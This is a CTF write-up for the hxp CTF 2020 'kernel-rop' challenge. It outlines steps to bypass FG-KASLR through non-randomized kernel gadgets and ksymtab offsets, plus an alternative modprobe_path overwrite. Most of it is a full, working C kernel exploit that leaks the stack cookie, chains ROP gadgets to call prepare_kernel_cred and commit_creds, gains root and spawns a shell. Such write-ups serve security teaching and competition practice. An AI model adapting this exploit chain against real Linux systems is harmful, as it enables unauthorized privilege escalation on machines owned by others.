hxp CTF 2020: kernel-rop

Expected steps of solving the task:

  1. Reverse, notice trivial stack buffer overflow, disable KASLR in run script, write solution, notice it fails with KASLR
  2. Notice it uses FG-KASLR
  3. Compare kallsyms from a couple of runs and notice that some symbols are never randomized, especially ones at the start of the kernel image. Notice that one of the addresses on the stack is also not affected by fine-grainedness.
  4. Find available gadgets in those few available pages.
  5. Notice that there are the ksymtab symbols which are also not affected. Find out that they contain the real symbol offsets. Relevant structure: https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L60
  6. Use the gadgets from 4 to read the relevant offsets from 5
  7. Do the standard prepare_kernel_cred, commit_creds, return to user space

What at least one team did:

  1. Create a script to copy /dev/sda contents to /tmp/flag.
  2. Use the non-randomized gadgets to overwrite the the path to /sbin/modprobe in kernel memory to point to their script
  3. Trigger the kmod path to have their script be executed
  4. Read flag

Some points:

  1. Using uclibc/musl-libc could be helpful for reducing the binary size
  2. The team with the nicer solution used upx to compress
  3. We would probably add a libc in future kernel pwns

Full exploit:

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <sys/wait.h>
#include <poll.h>
#include <unistd.h>
#include <stdlib.h>

int open_dev() {
    int fd = open("/dev/hackme", O_RDWR);
	if (fd < 0) {
		printf("Failed to open device\n");
		exit(-1);
	}
	return fd;
}

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(void)
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3;\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
    printf("%lx %lx %lx %lx\n", user_cs, user_ss, user_rflags, user_sp);
}

void print_leak(unsigned long *leak, unsigned n) {
    for (unsigned i = 0; i < n; ++i) {
        printf("%u: %lx\n", i, leak[i]);
    }
}

int global_fd;

enum current_state {
    current_state_read_ksymtab_prepare_kernel_cred,
    current_state_read_ksymtab_commit_creds,
    current_state_escalate_privileges_stage1,
    current_state_escalate_privileges_stage2,
};

unsigned long cookie;
unsigned long image_base;
unsigned long swapgs_restore_regs_and_ret_to_uspace; // start after popping rax
unsigned long zero_rax_ret; // xor eax, eax; ret;
unsigned long write_mem_ret; // mov qword ptr [rbx], rax; pop rbx; pop rbp; ret;
unsigned long pop_rax_ret; // pop rax; ret
unsigned long mov_eax_ind_rax_ret; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
unsigned long pop_rdi_ret; // pop rdi; pop rbp; ret;
unsigned long ksymtab_prepare_kernel_cred;
unsigned long ksymtab_commit_creds;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long creds_struct_va;

void compute_gadget_offsets(void) {
    unsigned n = 40;
    unsigned long leak[n];
    ssize_t r = read(global_fd, leak, sizeof(leak));
    cookie = leak[2];
    image_base = leak[38] - 0xa157ULL;
    swapgs_restore_regs_and_ret_to_uspace = image_base + 0x200f10UL + 19UL;
    zero_rax_ret = image_base + 0x3b91UL;
    write_mem_ret = image_base + 0x306dUL;
    pop_rax_ret = image_base + 0x4d11UL;
    mov_eax_ind_rax_ret = image_base + 0x4aaeUL;
    pop_rdi_ret = image_base + 0x38a0UL;
    ksymtab_prepare_kernel_cred = image_base + 0xf8d4fcUL;
    ksymtab_commit_creds = image_base + 0xf87d90UL;

    printf("Read: %zd\n", r);
    print_leak(leak, n);
    printf("cookie: %lx\n", cookie);
    printf("image base: %lx\n", image_base);
}

enum current_state global_cstate;

void safe_exit(void);

void read_address(void) {
    unsigned write_n = 50;
    unsigned long ovw[write_n];
    unsigned ti = 16;
    ovw[ti++] = cookie;
    ovw[ti++] = 0x0; // rbx
    ovw[ti++] = 0x1; // r12
    ovw[ti++] = 0x20000000; // rbp
    ovw[ti++] = pop_rax_ret;
    if (global_cstate == current_state_read_ksymtab_prepare_kernel_cred) {
        ovw[ti++] = ksymtab_prepare_kernel_cred - 0x10;
    } else if (global_cstate == current_state_read_ksymtab_commit_creds) {
        ovw[ti++] = ksymtab_commit_creds - 0x10;
    } else {
        printf("State state\n");
        exit(-1);
    }
    ovw[ti++] = mov_eax_ind_rax_ret;
    ovw[ti++] = user_sp; // rbp
    ovw[ti++] = swapgs_restore_regs_and_ret_to_uspace;
    ovw[ti++] = 0xccdd;
    ovw[ti++] = 0x33333;
    ovw[ti++] = 0x666666;
    ovw[ti++] = 0x666666;
    ovw[ti++] = 0x666666;
    ovw[ti++] = (unsigned long)safe_exit;
    ovw[ti++] = user_cs;
    ovw[ti++] = user_rflags;
    ovw[ti++] = user_sp;
    ovw[ti++] = user_ss;

    ssize_t sz_wr = write(global_fd, ovw, sizeof(ovw));
    printf("Written: %zd\n", sz_wr);
    // Should never be reached
    exit(-1);
}

void escalate_privileges(void) {
    unsigned write_n = 50;
    unsigned long ovw[write_n];
    unsigned ti = 16;
    ovw[ti++] = cookie;
    ovw[ti++] = 0x0; // rbx
    ovw[ti++] = 0x1; // r12
    ovw[ti++] = 0x20000000; // rbp
    if (global_cstate == current_state_escalate_privileges_stage1) {
        ovw[ti++] = pop_rdi_ret; 
        ovw[ti++] = 0; // rdi
        ovw[ti++] = user_sp; // rbp
        ovw[ti++] = prepare_kernel_cred;
    } else if (global_cstate == current_state_escalate_privileges_stage2) {
        ovw[ti++] = pop_rdi_ret; 
        ovw[ti++] = creds_struct_va; // rdi
        ovw[ti++] = user_sp; // rbp
        ovw[ti++] = commit_creds;
    }
    ovw[ti++] = swapgs_restore_regs_and_ret_to_uspace;
    ovw[ti++] = 0xccdd;
    ovw[ti++] = 0x33333;
    ovw[ti++] = 0x666666;
    ovw[ti++] = 0x666666;
    ovw[ti++] = 0x666666;
    ovw[ti++] = (unsigned long)safe_exit;
    ovw[ti++] = user_cs;
    ovw[ti++] = user_rflags;
    ovw[ti++] = user_sp;
    ovw[ti++] = user_ss;

    ssize_t sz_wr = write(global_fd, ovw, sizeof(ovw));
    printf("Written: %zd\n", sz_wr);
    // Should never be reached
    exit(-1);
}

unsigned char flag_buf[256];

void safe_exit(void) {
    unsigned long rax;
    unsigned long rbp;
    asm volatile(
        "mov %%rax, %0\n\t"
        : "=r"(rax), "=r"(rbp)
    );
    printf("returned form kernel: %lx\n", rax);
    if (global_cstate == current_state_read_ksymtab_prepare_kernel_cred) {
        prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)rax;
        global_cstate = current_state_read_ksymtab_commit_creds;
        read_address();
    } else if (global_cstate == current_state_read_ksymtab_commit_creds) {
        commit_creds = ksymtab_commit_creds + (int)rax;
        printf("prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
        printf("commit_creds : 0x%lx\n", commit_creds);
        global_cstate = current_state_escalate_privileges_stage1;
        escalate_privileges();
    } else if (global_cstate == current_state_escalate_privileges_stage1) {
        creds_struct_va = rax;
        printf("creds_struct_va: 0x%lx\n", creds_struct_va);
        global_cstate = current_state_escalate_privileges_stage2;
        escalate_privileges();
    } else if (global_cstate == current_state_escalate_privileges_stage2) {
        if (getuid() == 0) {
            // Somehow the state gets corrupted and cannot fork,
            // but still reading the file seems to work.
            printf("Flag:\n");
            FILE *f = fopen("/dev/sda", "r");
            fread(flag_buf, 1, sizeof(flag_buf), f);
            puts(flag_buf);

            system("/bin/sh");
        } else {
            printf("Weird, not root\n");
            exit(-1);
        }
    }
}

int main() {

    save_state();

    global_fd = open_dev();

    compute_gadget_offsets();

    global_cstate = current_state_read_ksymtab_prepare_kernel_cred;

    read_address();
    
    printf("Should never be reached\n");

    return 0;
}